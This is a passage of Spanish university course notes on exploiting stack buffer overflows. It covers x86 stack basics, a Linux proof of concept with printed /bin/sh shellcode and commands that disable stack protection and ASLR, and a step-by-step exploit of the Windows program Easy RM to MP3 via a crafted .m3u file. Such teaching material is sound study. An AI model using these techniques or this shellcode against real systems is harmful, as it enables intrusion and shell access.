2011, entre un 12% y un 11% de todas las vulnerabilidades encontradas ese ao fueron
de este tipo.

Figura 25. Estadstica de vulnerabilidades reportadas en 2011.


Fuente: www.incibe.es

En este captulo se explicar con detalle el funcionamiento de este tipo de


vulnerabilidades, as como herramientas y procedimientos para explotarlos.

Como ya se ha dicho, un desbordamiento de buffer ocurre cuando se copia cierta


cantidad de datos sobre un rea que no es lo suficientemente grande para contenerlos,
sobrescribiendo de esta manera otras zonas de memoria, pudiendo alterar el flujo de un
proceso.

Pero Qu son estas zonas? Qu es y cmo funciona el flujo de un proceso? Para


poder responder a estas preguntas, y antes de comenzar con la explicacin del
funcionamiento y la explotacin de los desbordamientos de buffer, se va a hacer una
pequea introduccin/repaso a la arquitectura bsica de un computador.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


28
Anlisis de Vulnerabilidades

Introduccin a la arquitectura bsica

Un computador actual tiene tres componentes bsicos:

La memoria principal se usa para almacenar los datos y el cdigo de los


programas en ejecucin. La CPU acceder a ella para leer las instrucciones a realizar
y para leer y escribir datos. Est dividida en diferentes zonas para cada proceso, con
diferentes permisos, para evitar que los procesos accedan a zonas que no les
correspondan o se modifique el flujo del programa. Acceder a ella es lento.

Figura 26. Arquitectura de un computador.

La ALU o unidad aritmtico-lgica se encargar de realizar las operaciones


lgicas (AND, OR) o matemticas (sumar, restar) que le indique la CPU. Posee
un banco de registros que se usar para almacenar temporalmente datos de los
procesos y aumentar la velocidad de las operaciones, ya que el acceso a estos
registros ser mucho ms rpido que a la memoria principal.

La CPU o procesador, se encargar de leer las instrucciones de cada proceso y


ejecutarlas, coordinar a los otros dos componentes (memoria y unidad aritmtico-
lgica). Posee un registro llamado contador de programa o puntero de instruccin
(CP/IP) que almacenar la direccin de la prxima instruccin a ejecutar.

La CPU deber realizar una serie de acciones para leer y ejecutar cada una de las
instrucciones, dividindose en diferentes fases.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


29
Anlisis de Vulnerabilidades

Estas son:

o Fase de bsqueda o de fetch (IF). La CPU lee de memoria principal la


instruccin apuntada por el contador de programa (CP).
o Fase de decodificacin (ID). La CPU decodifica la instruccin, actualiza el
CP y lee los operandos necesarios de memoria, de un registro o inmediatos.
o Fase de ejecucin (EX). La CPU manda los operandos a la ALU y crear las
seales de control necesarias para que esta realice la operacin necesaria.
o Fase de escritura o write-back (WB). Se guardan los valores de los
registros en memoria principal.

Cuando acaba la ltima fase se vuelve de nuevo a la primera, creando un ciclo


indefinido.

El banco de registros ser un conjunto de variables de memoria de alta velocidad


que nos permitirn almacenar datos y direcciones de memoria. En la arquitectura de
x86 (32 bits) el banco de registros se compone de 8 registros de propsito general, un
registro de flags, un puntero de instruccin y los segmentos de memoria.

Los registros de propsito general son:


EAX, EBX, ECX y EDX: registros de 32 bits para operaciones aritmticas. Se
pueden subdividir a 16 bits (AX, BX) y estos a su vez en 8 bits (AL, AH).
ESI, EDI, EBP, ESP: registros de direccin de 32 bits, se pueden subdividir en 16
bits (SI, DI). Aunque sean de propsito general suelen tener una funcin
especfica:
o ESI: Direccin de origen.
o EDI: Direccin de destino.
o EBP: Puntero a la base de la pila.
o ESP: Puntero a la cima de la pila.

El puntero de instruccin (EIP) apuntar a la direccin de la prxima instruccin que


se deber ejecutar.

Windows utiliza un esquema de memoria plana, es decir, todas las direcciones de


memoria se pueden referenciar de manera directa por la CPU (con un solo registro).
Tambin se pueden usar los segmentos de memoria para referenciar posiciones de
memoria relativos a ellos.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


30
Anlisis de Vulnerabilidades

Los flags servirn para guardar valores especiales del flujo del programa como
overflow, valor negativo o interrupciones activadas.

Figura 27. Banco de registros de un x86 (32 bits).

Tanto los registros de la pila (EBP y ESP), como el puntero de instruccin sern claves a
la hora de hacer un desbordamiento de buffer.

Las instrucciones que lee la CPU estn codificadas en lenguaje mquina (ceros y unos)
pero para facilitar al programador su trabajo, se cre un lenguaje a base de
mnemnicos, el lenguaje ensamblador.

Las instrucciones ms comunes que se deben conocer son:


MOV destino, origen: mueve el contenido de origen, que puede ser un inmediato,
una posicin de memoria o un registro, al destino, que puede ser un registro o una
posicin de memoria.
ADD destino, fuente: suma el contenido de fuente y destino y lo guarda en
destino.
PUSH registro: guarda el contenido del registro indicado en la pila,
implcitamente aumenta el valor del registro ESP.
POP registro: guarda el primer elemento de la pila en el registro indicado,
implcitamente reduce el valor del registro ESP.
JMP destino: salta incondicionalmente a la direccin destino elegida para seguir
ejecutando el flujo del programa. Modifica EIP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


31
Anlisis de Vulnerabilidades

Jcc: salta si la condicin (cc) se cumple. Esta condicin est relacionada con los
flags vistos antes, puede saltar si cero, si mayor igual, etc. Tambin modifica EIP.
CALL subrutina: llama a la subrutina que est indicada en la direccin de la
etiqueta subrutina. De manera implcita guarda EIP en la pila (PUSH EIP).
RET: retoma la ejecucin en el punto antes de llamar a la subrutina. De manera
implcita saca EIP de la pila (POP EIP).
NOP: no hace nada, pierde un ciclo de reloj. Aunque no lo parezca, esta instruccin
es una de las ms importantes a la hora de realizar los desbordamientos de buffer.

Estas instrucciones se guardan en la memoria principal en formato hexadecimal, pero


se pueden codificar en dos formatos diferentes: Big-endian y Little-endian. Big-
endian comienza guardando el MSB (bit ms significativo), mientras que Little-endian
comienza guardando el LSB (bit menos significativo).

Figura 28. Big-endian y Little-endian.

La mayora de los sistemas operativos, entre ellos Windows, utilizan el formato Little-
endian. Si, por ejemplo, tenemos la direccin de memoria 0x0804B22A, la
guardaramos en memoria principal de la forma \x2A\xB2\x04\x08.

Cada proceso tiene una cantidad de zonas o segmentos de memoria principal


(memoria RAM) para su ejecucin. Su estructura general suele ser: segmento de
cdigo, segmento de datos, rea del heap y segmento de la pila; existen ms zonas,
como libreras compartidas y tambin alguna de las zonas mencionadas estn
subdivididas, como la zona de los datos, dividida en datos inicializados y no
inicializados, pero para nuestro caso nos es indiferente.

Estas zonas tendrn diferentes propiedades, la ms importante ser los permisos que
tenga la zona (escritura, lectura o ambas).

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


32
Anlisis de Vulnerabilidades

Todas las zonas se colocarn sucesivamente en memoria siguiendo este esquema:

El segmento de cdigo es una zona de solo lectura, el procesador ir obteniendo


de ella las distintas instrucciones para la ejecucin normal del proceso.

El segmento de datos es una zona de lectura-


Direcciones bajas
escritura, en ella se almacenarn las variables globales
inicializadas y no inicializadas (segmento BSS). Esta
Texto (cdigo)
zona es esttica, no se pueden almacenar ms datos en
ella una vez comience la ejecucin, su tamao se decide Datos
siempre en tiempo de compilacin. inicializados

El rea del heap es una zona que almacenar datos de


Datos no
inicializados
forma dinmica, al llamar a funciones como malloc o (BSS)
new. Esta zona crecer hacia abajo, puede tener tamao
rea del heap
0 e ir aumentando a lo largo de la ejecucin de un
proceso. Es una zona de lectura y escritura.

La pila es una zona con estructura LIFO (Last in first


out), ltimo en entrar primero en salir. En ella se
Pila
almacenan las variables locales de los procesos y se
utiliza para conmutar entre rutinas y subrutinas de un
Direcciones altas
mismo proceso guardando el valor de los registros, los
argumentos de las funciones o el valor de la instruccin de regreso antes de una
llamada a la subrutina. La pila crece en sentido contrario al heap, es decir, comienza
en las posiciones altas y va decreciendo. Su tamao, al igual que el heap puede variar
en tiempo de ejecucin. Es una zona de lectura y escritura. Ser esta zona en la que
nos centraremos para realizar nuestros desbordamientos de buffer.

El funcionamiento de la pila

La pila funciona a travs de dos registros ESP y EBP, mediante los cuales puede
cumplir todas sus funciones.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


33
Anlisis de Vulnerabilidades

ESP apunta a la parte superior de la pila, es decir, contiene la direccin de la parte


ms nueva de la pila ya que crece en sentido contrario. Se puede modificar directa o
indirectamente:

o SUB esp, 04h: resta 4 bytes a la pila. Restar significa aadir bytes a la pila, por
lo que hemos visto de su crecimiento inverso. Este mtodo de aadir bytes
directamente se usa para reservar espacio de variables locales dentro de las
subrutinas.

o ADD esp, 04h: disminuye el tamao de la pila en 4 bytes.

o PUSH reg: aade en la posicin a la que apunta ESP, en la cima de la pila, el


valor de un registro, aumentando el valor de ESP en tantos bytes como ocupe ese
registro.

o POP reg: saca de la cima de la pila, apuntada por ESP, el valor que haya y lo
guarda en el registro. Disminuye el valor de ESP en tantos bytes como ocupe el
registro.

El otro registro que maneja la pila ser EBP. Este registro apuntar a la base o parte
inferior de la pila. Su uso principal ser la diferenciacin entre las rutinas y
subrutinas dentro de un proceso, tomando valores relativos a cada una.

Cada vez que se llame a un nuevo procedimiento se har: PUSH EBP, para poder
recuperarlo una vez acabe el procedimiento; luego se mover el nuevo valor de ESP a
EBP, convirtindose EBP en la base de referencia para las variables locales de la
forma [EBP 32].

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


34
Anlisis de Vulnerabilidades

Un ejemplo del funcionamiento de la pila es:

PUSH #1 //Primero se guardan los argumentos


PUSH #2 //en la pila, puede hacerse en orden
PUSH #3 //descendente o ascendente

int suma(int a, int b, int c) CALL Suma //Llamamos a la subrutina


{ //PUSH EIP de forma implcita
int d;
char buff[100]; PUSH EBP //Guardamos EBP en la pila y lo
d = a + b + c; MOV EBP, ESP //modificamos para separar las
return d; //variables de las rutinas
}
SUB ESP, #100 //Aumentamos la pila para la
int main(void) //variable buffer
{ //Realizamos la suma
int x; MOV AX, BP-4
x = suma(1,2,3); ADD AX, BP-3
return x; ADD AX, BP-2
}
MOV ESP, EBP //Eliminamos las variables locales
POP EBP //Devolvemos EBP al valor inicial

RET //Devolvemos el control a la rutina principal


//POP EIP de forma implcita

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


35
Anlisis de Vulnerabilidades

Figura 29. Funcionamiento de la pila.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


36
Anlisis de Vulnerabilidades

Funcionamiento del desbordamiento

Una vez visto el funcionamiento de la pila ya podemos entender el funcionamiento de


un buffer overflow.

Qu ocurrir si quisiramos copiar 200 As en el buffer del ejemplo anterior cuyo


tamao es 100?

Figuras 30. Funcionamiento del buffer overflow.

Como se puede ver, podramos ser capaces de sobrescribir EIP. Al hacer esto podemos
introducir cualquier valor en EIP, que ser la direccin de la siguiente instruccin a
ejecutar. Por lo que podremos ir redirigiendo el flujo del programa hacia donde
nosotros queramos.

A continuacin, se van a explicar dos pruebas de concepto (Proof of Concept) del


funcionamiento de los buffer overflow paso a paso, as como las herramientas
necesarias. La primera ser un pequeo ejecutable en Linux y la segunda ser una
aplicacin real de Windows.

1. PoC 1

Tenemos el siguiente programa en C.

#include <stdio.h>
#include <string.h>

int main(int argc, char * argv[])

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


37
Anlisis de Vulnerabilidades

{
int A;
char B[100];
if (argc < 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
A = argc;
strcpy(B,argv[1]);
printf("A=%d\nB=%s\n",A,B);
return 0;
}

Como se puede ver, el programa puede dar lugar a un buffer overflow, pues declara la
variable B con 100 bytes y utiliza la funcin strcpy() para copiar en esta variable el
primer argumento introducido por el usuario.

La funcin strcpy() copiar en la variable todo hasta encontrar el smbolo de fin de


cadena \0. Es una funcin insegura, que no realiza comprobacin del espacio
disponible antes de hacer la copia.

En nuestra mquina Kali crearemos el archivo buffer.c con el programa anterior y lo


compilaremos con:

gcc -fno-stack-protector -z execstack buffer.c -o buffer

En algunas distribuciones de Linux, por defecto, el compilador gcc crea algunos


mecanismos de proteccin en la pila para que no funcionen los buffer overflow ni se
pueda ejecutar cdigo en ella, por ello usaremos las opciones -fno-stack-protector
(poder sobrescribir la pila) y -z execstack (poder ejecutar cdigo en la pila) para evitar
problemas.

Tambin ser necesario utilizar una orden en la terminal para desactivar otro
mecanismo de seguridad llamado ASLR que genera direcciones aleatorias en la pila y
en el heap para evitar de nuevo este tipo de vulnerabilidades.
echo 0 > /proc/sys/kernel/randomize_va_space

Una vez acabado, para restablecer su valor haremos:

echo 2 > /proc/sys/kernel/randomize_va_space

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


38
Anlisis de Vulnerabilidades

Estas y otras medidas de seguridad se explicarn al final de este tema.

Figura 31. Compilamos y probamos el funcionamiento del programa.

Ahora utilizaremos lenguajes de script como Perl, Python o Ruby para generar una
entrada de texto suficientemente grande como para que sobrescriba otras zonas. Para
ello deberemos introducir ms de 99 caracteres (ya que el carcter \0 de fin de cadena
lo aade siempre al final).

Usaremos el acento invertido para pasar como argumentos de la funcin la salida del
script, en cualquier lenguaje de los mencionados, que se encuentra a la derecha de la P
en el teclado.

Figura 32. Estadstica de vulnerabilidades reportadas en 2011.

Se puede ver, que cuando sobrepasamos los 99 caracteres, la variable A tiene un


comportamiento extrao, pues debera valer 2. Si seguimos aumentando el nmero de
caracteres que introducimos obtenemos Segmentation fault. Este mensaje de
Segmentation fault significa que hemos sobrescrito el registro EIP y ahora apunta a
una direccin no permitida.

Para saber exactamente qu hemos sobrescrito en EIP, utilizaremos GDB, el depurador


que viene por defecto en Linux.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


39
Anlisis de Vulnerabilidades

Figura 33. Usamos GDB para depurar.

Al volver a ejecutar el cdigo anterior obtenemos el valor de EIP: 0x61616161. Esa


direccin es debido al valor de la letra a en hexadecimal: 0x61, es decir, hemos
sobrescrito en EIP aaaa.

EIP no se encuentra siempre en la misma posicin, dependiendo de cada programa


variar, por ello, ahora averiguaremos el valor de esa posicin con respecto al texto que
habamos introducido.

Utilizaremos 2 herramientas que vienen con Metasploit. Para acceder a ellas


deberemos ir a /opt/metasploit/apps/pro/msf3/tools.

Pattern_create: crear un patrn de texto para que introduzcamos en el buffer a


desbordar. Le pasaremos como argumento el tamao del texto que queremos. Para
este caso se ha usado 120, pues ya hemos visto que con este valor ocurre el
desbordamiento de buffer.

Figura 34. Uso de pattern_create.

Pattern_offset: nos dir el desplazamiento respecto al texto introducido en el que


se encuentra EIP. Le daremos como argumento el valor de EIP obtenido con el
depurador y el tamao del texto.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


40
Anlisis de Vulnerabilidades

Figura 35. Uso de pattern_offset.

En este caso encontramos que si introducimos 116 caracteres, los siguientes 4 sern
EIP.

Para comprobarlo introduciremos la letra a 116 veces y despus la letra b (0x62 en


hexadecimal) 4 veces.

Figura 36. Hemos puesto bbbb en EIP.

Podemos ver que ha funcionado, as que, ya sabemos donde debemos colocar la


direccin a la que queremos saltar tras realizar el desbordamiento.

El siguiente paso ser crear una shellcode para cuando explotemos la vulnerabilidad,
poder obtener una shell con los privilegios de la aplicacin (en nuestro caso, al ser Kali,
tendr siempre privilegios de root).

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


41
Anlisis de Vulnerabilidades

La shellcode que utilizaremos ser un pequeo programa de C que devuelve una shell
pero pasado a lenguaje ensamblador:

\x31 \xc0 xor eax, eax


\x50 push eax
#include <stdio.h>
//PUSH /bin
int main() \x68\x2f\x2f\x73\x68 push 0x68732f2f
{ //PUSH //sh
char *scode[2]; \x68\x2f\x62\x69\x6e push 0x6e69622f
scode[0] = "/bin/sh";
scode[1] = 0; \x89\xe3 mov ebx, esp
execve (scode[0], scode, 0); \x50 push eax
} \x53 push ebx
\x89\xe1 mov ecx, esp
\xb0\x0b mov al, 0xb
\xcd\x80 int 0x80

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\xb0\x0b\xcd\x80"

Generaremos un pequeo script para pasarlo como argumento al programa.

Figura 37. Script en Ruby con el exploit.

Este script sobrescribir el buffer con la shellcode (las instrucciones para ejecutar una
shell), el resto de as para completar los 116 bytes y EIP. Ahora tenemos que averiguar a
qu direccin debemos saltar para que se comience a ejecutar nuestra shell. De nuevo
usaremos GDB.

Desensamblaremos la funcin main del ejecutable con el comando disass main y


buscaremos la llamada a la funcin strcpy. Despus pondremos un punto de ruptura
en la ejecucin del programa, para poder analizar la pila una vez hecho el
desbordamiento.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


42
Anlisis de Vulnerabilidades

Figura 38. Desensamblado de la funcin main.

Ejecutaremos el programa dndole como argumento el script creado y haremos un


volcado de la pila (x/40x $esp).

Posicin:
0xbffff408
Primera posicin
de la fila, es decir,
0xbffff400.

Figura 39. Volcado de la pila.

Podemos ver la primera instruccin de nuestra shellcode remarcada, as que esa ser la
posicin que tendremos que introducir en EIP. Modificaremos entonces nuestro script
exploit.rb y colocaremos la direccin en la variable eip recordando ponerla en formato
Little-endian: \x08\xf4\xff\xbf.

Finalmente volvemos a ejecutar en GDB el programa con el script y obtenemos una


shell.

Figura 40. Ejecutamos el exploit en GDB.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


43
Anlisis de Vulnerabilidades

Pero ahora nos encontraremos con un problema. Si queremos ejecutar el programa


fuera de GDB no obtendremos la shell, debido a que GDB aade algunos bytes a la pila
(entre 32 y 64) y la direccin a la que saltamos ya no es la de nuestra shell.

Para solucionarlo, utilizaremos un sled de NOPs, que consistir en llenar el buffer de la


instruccin NOP antes de la shellcode, cuando realicemos el salto a una direccin,
habr ms posibilidades de que caigamos en una instruccin NOP y se deslice el flujo
del programa hasta llegar a la shellcode.

Modificaremos nuestro script de nuevo aadiendo 40 NOP y har falta reducir el


nmero de letras a de relleno. Tambin cambiaremos el valor de eip por lo que
hemos dicho antes de GDB y le sumaremos entre 32 y 64 bytes, en este caso 40.

Figura 41. Exploit final de la PoC 1.

Obteniendo finalmente:

Figura 42. Obtenemos la shell fuera de GDB.

Nota 1. A la hora de desensamblar un ejecutable hay dos tipos de lenguaje


ensamblador, el de AT&T que utiliza UNIX por defecto y el de Intel que utiliza
Windows por defecto. Cuando usemos la orden disass funcin GDB por defecto nos
dar la notacin de AT&T, pero las instrucciones que hemos estado viendo eran del
lenguaje Intel, para que nos transforme el cdigo a la notacin que queremos, usaremos
la orden en GDB de:
(gdb) set disassembly-flavor intel

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


44
Anlisis de Vulnerabilidades

Nota 2. Las 2 herramientas incluidas en Metasploit que hemos utilizado,


pattern_create y pattern_offset, dependen de ciertas libreras de Ruby, que pueden
generar diversos problemas a la hora de utilizarlos, obteniendo mensajes como este:

Figura 43. Error con pattern_create

Estos problemas surgen porque hace falta ir instalando todas las actualizaciones tanto
de Metasploit como de cada una de las libreras de Ruby.

Para solucionarlo sin necesidad de realizar todas las actualizaciones, que a veces
pueden llegar a ser muy pesadas, vamos a modificar ambos archivos para que no realice
la comprobacin de que todas las libreras estn actualizadas para poder funcionar.

Figura 44. Texto comentado para solucionarlo.

Y ya podremos ejecutarlos sin problemas.

2. PoC 2

La segunda prueba de concepto ser una aplicacin de Windows llamada Easy RM to


MP3, versin 2.7.3.700.

Puedes descargar la aplicacin desde la siguiente pgina:


https://web.archive.org/web/20120819072336/http://www.rm-to-
mp3.net/download.html

Usamos la pgina https://archive.org/ para obtener una copia de la pgina antigua, ya


que la pgina original ya no est disponible. Podremos descargar la aplicacin sin
problemas. Para realizar esta prueba de concepto vamos a usar nuestra mquina Kali
Linux y otra mquina con Windows XP que ser la que ejecute la aplicacin.
En primer lugar deberamos ver el funcionamiento de la aplicacin, comprobar que es
vulnerable a esta vulnerabilidad y testear hasta encontrar el punto por el que se pueda

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


45
Anlisis de Vulnerabilidades

realizar el desbordamiento de buffer, pero se podra tardar mucho y es una tarea muy
tediosa. As que ya sabemos de antemano que esta aplicacin es vulnerable y que tiene
un desbordamiento de buffer cuando intentamos cargar un archivo .m3u muy grande.

Figura 45. Aplicacin vulnerable.

Al pulsar el botn de load nos permitir incluir un archivo con una extensin especfica.
Entre las permitidas se encuentra la m3u, a la que sabemos que es vulnerable. Pero
ahora cmo generamos un archivo .m3u para que lo cargue y hacer el
desbordamiento de buffer?

La respuesta ser nuestra mquina Kali y no har falta ninguna herramienta especial,
solamente crearemos un ejecutable en algn lenguaje de script de los ya mencionados
(Perl, Ruby, Python) que genere un archivo con la extensin .m3u. En esta prueba de
concepto se usar de nuevo Ruby.

Para esta primera fase, estos archivos solo tendrn basura en su contenido, como una
letra repetida, y gran tamao, ya que queremos determinar en qu punto aproximado
se produce el desbordamiento y luego solo generar un pequeo nmero de bytes con
pattern_create para averiguar el punto exacto.

Se ha usado una carpeta compartida entre las mquinas virtuales para enviar los
archivos entre ellos, aunque tambin se puede usar un USB, la nube

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


46
Anlisis de Vulnerabilidades

Figura 46. Exploit inicial en Ruby. Crea un m3u lleno de as.

Lo ejecutaremos de la forma: ruby exploit.rb y moveremos el archivo creado a la


mquina XP.

Cargaremos el archivo creado en la aplicacin (usando el botn cargar o arrastrndolo


directamente sobre la aplicacin). Al hacerlo con este primer archivo obtendremos un
mensaje que nos dir que la ha habido un fallo a la hora de cargarlo, pero la aplicacin
seguir funcionando con normalidad.

Figura 47. Fallo al cargar, pero la aplicacin sigue funcionando.

Como no hemos conseguido nuestro objetivo aun, seguiremos aumentando el nmero


de caracteres basura en nuestro archivo; aumentaremos de 10.000 en 10.000, hasta
que a los 30.000 caracteres la aplicacin se detendr, obteniendo un error as:

Figura 48. En este caso s que se detiene la aplicacin.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


47
Anlisis de Vulnerabilidades

Ya sabemos que el desbordamiento de buffer se genera con ms de 20.000 caracteres y


con, como mnimo, 30.000, pero queremos saber la posicin exacta y para ello
utilizaremos un depurador de Windows. En este caso, al contrario que en Linux, no
viene uno predeterminado ya instalado, as que nos descargaremos uno. Los ms
recomendados son Immunity Debugger, WinDbg y OllyDbg.

El ltimo de ellos, OllyDbg, es el ms sencillo de utilizar, con una interfaz muy simple,
posee funcionalidades y plugins especficos para la explotacin de vulnerabilidades,
como los otros dos.

Puedes descargar la aplicacin desde la siguiente pgina:


http://www.ollydbg.de/

WinDbg es el depurador para Windows hecho por Microsoft, tambin posee mltiples
paquetes y plugins. Ser til descargarlo junto con el paquete de smbolos del sistema
de Windows para realizar las funciones de bsqueda de instrucciones o bytes en el
cdigo.

Puedes descargar WinDbg desde la siguiente direccin:


http://www.windowstipspage.com/windbg-download/

Y el paquete de smbolos (lo aadiremos con Ctrl + S) desde:


https://msdn.microsoft.com/en-us/windows/hardware/gg463028

Immunity Debugger es similar en interfaz a OllyDbg pero cuenta con una pequea
lnea de comandos para la ejecucin de plugins basados en Python. Uno de estos
plugins, llamado mona, ser el que usemos ms adelante para esta prueba de concepto.

Puedes descargarlo desde la siguiente direccin:


http://debugger.immunityinc.com/

Puedes descargarte el plugin mona desde la siguiente direccin:


https://github.com/corelan/mona

Puedes acceder a un manual del uso del plugin desde la siguiente direccin:
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


48
Anlisis de Vulnerabilidades

Este plugin tiene mltiples funcionalidades, entre las que estn: obtener el opcode de
una instruccin, buscar palabras, instrucciones o bytes dentro del cdigo ensamblador,
comparar archivos Para aadirlo a Immunity deberemos copiarlo en la carpeta de
PyCommands.

Figura 49. Interfaz de Immunity Debugger.

Una vez tenemos el depurador instalado abrimos la aplicacin a depurar y el depurador


y pulsamos en File > Attach para enlazarlo y empezar a depurar. Todos los depuradores
pausarn la ejecucin del programa al realizar este proceso de enlazado inicial, por lo
que deberemos pulsar el botn de run.

Ahora modificaremos nuestro script para crear un nuevo archivo .m3u. Esta vez
queremos reducir el rango de 10.000 caracteres para averiguar posteriormente la
posicin de EIP. Para ello crearemos un patrn del siguiente modo:
22.000 letras a.
Cada 2.000 cambiaremos de letra hasta las 30.000.

Segn la letra que obtengamos tendremos un intervalo diferente.

Figura 50. Archivo exploit.rb para buscar EIP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


49
Anlisis de Vulnerabilidades

Ejecutaremos el archivo en la aplicacin depurada y miraremos los datos del registro


EIP.

Figura 51. EIP ha sido sobrescrito por la letra d.

Encontramos que EIP tiene la letra d (64 en hexadecimal) por lo que est entre las
posiciones 26.000 y 28.000.

Ahora ser el turno de usar las herramientas de Metasploit vistas en la prueba de


concepto anterior, pattern_create y pattern_offset. Recordamos que las herramientas
se encuentran en /opt/metasploit/apps/pro/msf3/tools.

Tambin se pueden usar antes en lugar de ir reduciendo poco a poco, pero en esta
prueba de concepto se prefiere que se entienda el concepto en lugar de realizarlo todo
de golpe. Generaremos el patrn con:

./pattern_create.rb 2000

Lo sustituiremos por las letras d del script y lo ejecutaremos de nuevo en la aplicacin


mientras la depuramos. En este caso obtenemos EIP: 63413263.

Finalmente obtenemos la posicin de EIP con pattern_offset:

./pattern_offset 63413263 2000

Figura 52. Usamos pattern_offset.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


50
Anlisis de Vulnerabilidades

Tendremos que introducir 26.067 caracteres basura en el buffer antes que EIP.

Llegados a este punto vamos a recordar la PoC 1. En ella introducamos un sled de


NOPs y la shellcode en el espacio del buffer antes que EIP y, posteriormente,
realizbamos un salto a una direccin de memoria en la que esperbamos que
estuviera. Pero ahora nos encontramos con dos grandes problemas: las direcciones con
bytes nulos y la portabilidad.

A la hora de ejecutar el exploit en otra mquina, probablemente no funcione ya que las


direcciones de memoria habrn cambiado y un programa puede estar en cualquier
parte.

Por qu no podemos usar bytes nulos? En los bytes nulos se basa el desbordamiento
de buffer, funciones como strcpy copian todo el contenido de un lugar a otro hasta que
se encuentre un byte nulo; si introducimos nosotros uno de estos bytes a la hora de
llenar el buffer parar en ese punto, aunque haya ms texto. Un ejemplo sera
0x00341a2b, vemos que el ltimo byte (Little-endian) es 0x00.

Por ello vamos a utilizar una tcnica para que nuestro exploit no dependa de la
direccin especfica a la que vaya a saltar, sino que sea siempre la misma, evitando el
uso de bytes nulos. Esta tcnica ser saltar a ESP.

Si recordamos la parte en la que se explic la pila, cuando recuperamos EIP es porque


el puntero ESP la saca de la pila y aumenta (recordamos que en la pila si aumenta ESP
es porque disminuye su tamao), apuntando a una posicin posterior a EIP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


51
Anlisis de Vulnerabilidades

Despus del buffer


overflow

Igualamos ESP con EBP

Sacamos EBP de la pila

Sacamos EIP de la pila,


el proceso saltara ahora

Vamos a ver este ejemplo de una forma prctica en la aplicacin y adems obtendremos
la posicin exacta de ESP ya que a veces no se encuentra justo despus que EIP.

Modificaremos nuestro script para introducir ms caracteres despus de EIP:

Figuras 53 y 54. Comprobamos si hay bytes extra entre EIP y ESP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


52
Anlisis de Vulnerabilidades

Lo ejecutamos de nuevo y vemos que hay una lnea entre EIP y ESP, marcada en azul,
por lo que hay que aadir 4 bytes extra despus de EIP

Nuestro objetivo ahora ser introducir nuestro sled de NOPs y Shellcode a partir de
aqu. Pero no saltaremos directamente a la posicin de ESP, si no que buscaremos la
instruccin jmp esp dentro de las propias libreras de Windows y de la aplicacin, para
que hagan el salto por nosotros, las conocidas DLL. Estas libreras son estticas y sern
portables de una mquina a otra; podremos hacer la aplicacin portable para el mismo
sistema operativo (con las libreras del sistema) o para cualquiera (con las libreras de
la aplicacin).

En este caso queremos usar las de la aplicacin. Para ello tenemos que encontrar en
estas libreras la instruccin jmp esp, por lo que usaremos el Immunity Debugger y el
plugin mona. Primero iremos a la ventana de Log pulsando la l en la barra de
herramientas, en esta ventana nos aparecern los mdulos que han necesitado la
aplicacin y la informacin de la ejecucin de los plugins.

Para ejecutar nuestro plugin escribiremos: !mona

Figura 55. Interfaz del plugin mona.

Tenemos dos formas de buscar una instruccin o conjunto de instrucciones en todas las
libreras:

La primera ser obteniendo el cdigo de ensamblado de una instruccin y realizar la


bsqueda sobre este cdigo.
o !mona asm -s jmp esp, nos devolver el opcode de la instruccin.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


53
Anlisis de Vulnerabilidades

o !mona find -s \xff\xe4\xc3, buscar el patrn en hexadecimal en todos los


mdulos. En este ejemplo se est buscando jmp esp (ff e4) seguido de retn (c3).

La segunda forma ser directamente realizar la bsqueda sobre la instruccin sin


obtener el opcode.
o !mona find type instr -s jmp esp # retn, buscar las instrucciones que
sigan el patrn indicado.

Ambas opciones dan el mismo resultado creando un archivo de texto llamado find.txt
en la carpeta del Immunity Debugger en Archivos de programa. En esta PoC se usa la
segunda opcin junto con el modificador -n que elimina los mdulos que tengan bytes
nulos.

!mona find type instr -s jmp esp -

El archivo find.txt tiene dos partes, la primera nos indicar todos los mdulos en los
que se ha encontrado una coincidencia (nos dir si el mdulo es del sistema operativo o
no, si tiene algn tipo de proteccin) y la segunda parte ir mostrando direccin por
direccin todas las que haya encontrado.

Figura 56. Fichero de texto con el resultado de la bsqueda.

En nuestro caso hemos elegido la librera MSRMCcodec02.DLL de la aplicacin,


cogiendo la direccin 0x01deb22a para el salto, aunque cualquiera debera ser vlida
(si no tiene bytes nulos). El tipo de pgina es indiferente ya que se han realizado
pruebas con todas ellas y el exploit funcionaba correctamente.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


54
Anlisis de Vulnerabilidades

Muchas veces no encontraremos la instruccin de salto en las libreras de la aplicacin,


